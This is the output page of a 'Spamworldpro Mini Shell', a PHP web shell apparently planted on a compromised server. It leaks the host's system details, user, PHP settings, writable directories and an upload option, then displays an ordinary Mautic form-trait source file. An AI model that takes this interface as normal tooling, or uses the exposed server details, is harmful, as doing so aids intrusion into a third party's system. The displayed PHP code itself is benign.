Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/CoreBundle/Form/Type/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/mautic.corals.io/app/bundles/CoreBundle/Form/Type/PropertiesTrait.php
<?php

namespace Mautic\CoreBundle\Form\Type;

use Symfony\Component\Form\Form;
use Symfony\Component\Form\FormBuilderInterface;

trait PropertiesTrait
{
    /**
     * @param FormBuilderInterface|Form $builder
     */
    protected function addPropertiesType($builder, array $options, array &$masks)
    {
        $properties = null;
        if (!empty($options['data'])) {
            if (is_array($options['data'])) {
                $properties = (!empty($options['data']['properties'])) ? $options['data']['properties'] : null;

                // Merge the parent data over so the child forms could use them
                if (is_array($properties)) {
                    $properties = array_merge($options['data'], $properties);
                }
            } elseif (is_object($options['data']) && method_exists($options['data'], 'getProperties')) {
                $properties = $options['data']->getProperties();
            }
        }

        $formTypeOptions = [
            'label' => false,
            'data'  => $properties,
        ];
        if (isset($options['settings']['formTypeCleanMasks'])) {
            $masks['properties'] = $options['settings']['formTypeCleanMasks'];
        }
        if (!empty($options['settings']['formTypeOptions'])) {
            $formTypeOptions = array_merge($formTypeOptions, $options['settings']['formTypeOptions']);
        }

        $builder->add('properties', $options['settings']['formType'], $formTypeOptions);
    }
}

Spamworldpro Mini